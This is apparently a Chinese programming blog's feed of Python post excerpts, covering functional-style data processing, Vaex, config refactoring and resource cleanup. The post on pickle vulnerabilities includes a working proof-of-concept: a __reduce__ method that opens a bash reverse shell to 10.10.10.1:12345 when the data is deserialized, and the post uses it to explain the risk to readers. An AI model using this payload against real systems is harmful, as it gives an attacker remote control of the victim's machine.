python on 蘭陵N梓記

飞哥讲代码26：Python函数式编程

Sat, 15 May 2021 00:00:00 +0000

背景

最近笔者写Python代码比较多，同时又有多种编程语言的开发经验，现在的语言设计上大多趋同。当需要对数据集合操作时，非常喜欢java的stream声明式处理数据，萌生在Python中模仿Java的写法。虽然java的API易用性与Scala/Kotlin相比，还是有很大的差距，但与Python比起来，还是强不少。

我们先来看一下Java的玩法：

// 过滤Type是GROCERY，按Value倒排序，聚合Id，归并新的集合
List<Integer> tanscationsIds = transcations.parallelStream()
        .filter(it -> it.getType() == Transcation.GROCERY)
        .sorted(comparing(Transcation::getValue).resersed())
        .map(Transcation::getId)
        .collect(Collectors::toList());

函数式是一种声明式编程范式，上面的代码就像SQL语句一样，代码操作数据集合非常直观。笔者在去年写了一篇飞哥讲代码16：函数式让数据处理更简洁简单介绍了函数式在数据集合操作上的便利。

在数据分析领域，Python生态中有Pandas这类非常优秀的库，它对DataFrame(可以理解一张数据库表存储的数据集合)提供非常简单的API，支持对数据集的过滤、聚合、归并、填充与计算等，很方便地对数据进行清洗和加工。但它也并不是像Java的Stream一样操作，示例如下：

飞哥讲代码25：突破内存限制

Sun, 11 Apr 2021 00:00:00 +0000

背景

最近调研低成本的大数据量的数据分析框架，搜索发现有：

这些文章都在介绍Vaex，第三篇文章中有多种分析框架不同场景应用的性能对比。Vaex由于它采取内存映射、惰性计算的设计，可以在百亿级数据集上进行秒级的统计分析和可视化展示，使得它能在数据分析领域有它一席位置。

作为一名屌丝程度员，在性能倍增的背景下，极其想扒一扒它的代码，探索它是如何做到的。笔者也简单做了一些的验证(数据文件采用Parquet)，它的确是秒级完成千万级数据量基于列式存储的数值统计分析(求mean,std,var等)、多列之间的计算以及按列条件过滤。这些计算不需要使用大量的内存，但象join，groupby聚合这类复杂的计算，它还是把数据加载到内存中计算。它的API也没有Pandas灵活与丰富，所以并不能完全取代Pandas。

飞哥讲代码24：从Python Pickle漏洞说起

Sat, 13 Mar 2021 00:00:00 +0000

《泾溪》– 杜荀鹤
泾溪石险人兢慎，终岁不闻倾覆人。
却是平流无石处，时时闻说有沉沦。

案例

有次同事找我看个Python的安全问题。测试代码是这样的：

import pickle
import os

class Test(object):
    def __reduce__(self):
        cmd = """bash -i &> /dev/tcp/10.10.10.1/12345 0>&1 2>&1"""
        return (os.system,(cmd,))

if __name__ == "__main__":
    test = Test()
    bs = pickle.dumps(test)
    pickle.loads(bs)

这个是利用pickle反序列化漏洞，结合shell反弹的安全入侵。当代码执行之后，会后台与10.10.10.1:12345建立连接，在10.10.10.1上的用户则可以直接像ssh远程一样操作你的机器。

目前Python在AI领域应用越来越多，不少传统机器学习的模型也采用pickle格式保存。如基于sklearn训练的模型，通常采用pickle.dump把模型生成pkl文件，当再使用模型时，则通过pickle.load加载模型来进行推理预测。像Java中json/xml/yaml的序列化与反序列化一样，python的pickle对象序列化与反序列化存在更为严重的安全风险。

飞哥讲代码14：好代码源自相互改进

Sun, 20 Sep 2020 00:00:00 +0000

案例

下面的代码是来自我们新构建的服务，采用Python语言开发。案例故事是这样：

开始： 某同学最先开发某功能，需要读取服务的配置文件，代码如下，是代码直接读取文件取配置项：

HOME_PATH = os.environ['HOME']
DASK_PROPERTIES_PATH = HOME_PATH + '/training/webapps/lodas/WEB-INF/classes/application-dask.properties'
DASK_PROPERTIES_DICT = Properties(DASK_PROPERTIES_PATH).get_properties()

CLUSTER_WORKER_THREAD_NUM = DASK_PROPERTIES_DICT['lodap.dask.cluster.worker.nthreads']
.... # 省略其它配置项的获取代码

后续： 功能不断增加，又分配给 不同的同学来实现 ，也需要读取同目录下其它的配置文件，于是又出现类似上面的代码写法，但略有差别，就不再贴代码了。

问题： 经过一段时间，发现类似读取配置项的代码段散落到我们源码中多个地方。从功能上讲，代码也没什么问题；但从可维护角度来看，若后面对配置增加约束或者配置文件挪位置，侧需要修改多处。

重构： 对它的改进也很简单，对一个服务的多个配置文件集中管理，提供封装对象。改进之后代码如下，并且做了一点小的容错性增强：

[1] 检查配置文件存在时才加入dict中，解决当文件不存在时，直接调用Properties(file)抛异常问题。
[2] 当配置项不存在时，支持默认值，解决代码中直接对Dict取下标操作时当不存在Key抛异常问题。

飞哥讲代码13：好代码须匠心打磨

Sat, 12 Sep 2020 00:00:00 +0000

案例

目前写Python的同学越来越多了，但动态语言无类型约束，导致Commit时难以review。先来看一段我们的代码：

优化前的代码：

    def handle(self, data, rules):
        rule_type = rules['type'] # 1
        rule_list = rules['rules'] # 2
        res = None

        if str(rule_type).lower() != RULES_MAPPING:
            raise ValueError("type of rule should be 'rules_mapping'")

        for rule in rule_list:
            col_name = rule['column'] # 2
            if rule['function'].lower() == 'cast': # 3
                mapping_dict, other = self.parse_cast(rule['mapping'])
                res = data[col_name].apply(self.case_func, args=(mapping_dict, other))
            elif rule['function'].lower() == 'in':
                mapping_dict, other = self.parse_in(rule['mapping'])
                res = data[col_name].apply(self.in_func, args=(mapping_dict, other))
            elif rule['function'].lower() == 'binning':
                res = data[col_name].apply(self.binning_func, args=(rule['mapping']))
            else:
                raise ValueError('not supported function') # 4 
        return res

代化之后的代码：

飞哥讲代码1：确保资源被释放

Sat, 16 May 2020 00:00:00 +0000

案例

下面的代码来自我们某一工具源码(Python语言)中：

file_gz = gzip.GzipFile(file_name)
src_path, src_file = os.path.split(file_name)
tmp_file_name = os.path.join(path_name, src_file).strip('gz').strip('.')
tmp_file = open(tmp_file_name, 'wb')
tmp_file.writeline(file_gz.realines())
file_gz.close()
tmp_file.close()
os.remove(file_name)

从代码健壮角度来看，存在如下两个问题：

缺少捕获异常，在GzipFile打开文件，open打开文件之后的操作都可能抛出异常
当抛出异常时，file_gz与tmp_file就会出现未正常close，存在文件句柄的泄露问题

能正确释放资源的建议写法是: